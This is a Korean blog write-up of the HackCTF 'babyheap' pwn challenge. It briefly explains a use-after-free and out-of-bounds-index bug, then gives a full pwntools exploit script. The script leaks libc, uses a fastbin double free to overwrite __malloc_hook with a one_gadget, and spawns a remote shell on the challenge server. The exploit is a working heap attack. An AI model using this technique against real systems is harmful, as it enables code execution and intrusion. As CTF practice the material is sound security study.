HackCTF - babyheap
2020. 12. 17. 22:39ㆍCTF's Write-up
문제 화면입니다. 해당 문제를 ida 까게되면 다음과 같은 main을 볼 수 있습니다.
free함수에서 free한 후 memset을 해주지 않아서 취약점이 발생합니다.
show를 이용해서
double free취약점을 이용해서 malloc_hook을 덮으면 exploit이 가능합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3030)
#r = process("./babyheap")
e = ELF("./babyheap")
l = ELF("./libc.so.6")
#context.log_level = "debug"
ptr_add = 0x0000000000602060
read_add = 0x00000000004005F0
read_offset = l.sym['read']
malloc_hook_off = l.sym['__malloc_hook']
one_shot_off = 0xf02a4
def show(num) :
r.recvuntil("> ")
r.sendline("3")
r.recvuntil("index: ")
r.sendline(num)
def malloc(size, comment) :
r.recvuntil("> ")
r.sendline("1")
r.recvuntil("size: ")
r.sendline(str(size))
r.recvuntil("content: ")
r.sendline(comment)
def free(index) :
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("index: ")
r.sendline(str(index))
show(str((read_add-ptr_add)/8))
leak = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00')
libc_base = leak - read_offset
malloc_hook_add = libc_base + malloc_hook_off
one_shot_add = libc_base + one_shot_off
log.info("leak = " + hex(leak))
log.info("libc_base = " + hex(libc_base))
log.info("malloc_hook_add = " + hex(malloc_hook_add))
log.info("one_shot_add = " + hex(one_shot_add))
malloc(89,"A"*8)
malloc(89,"B"*8)
free(0)
free(1)
free(0) # A --> B --> A
malloc(89,p64(malloc_hook_add-35))
malloc(89,"C"*8)
malloc(89,"D"*8)
malloc(89,"E"*19+p64(one_shot_add)) #malloc_hook overwrite
free(2)
free(2) # crack --> call malloc_hook --> get shell
r.interactive()
|
cs |
pay입니다. 실행하면 아래와 같습니다.
'CTF's Write-up' 카테고리의 다른 글
DreamHack - ssp_000 (0) | 2020.12.19 |
---|---|
DreamHack - basic_rop_x86 (0) | 2020.12.18 |
DreamHack - basic_rop_x64 (0) | 2020.12.16 |
DreamHack - memory_leakage (0) | 2020.12.15 |
DreamHack - basic_heap_overflow (0) | 2020.12.12 |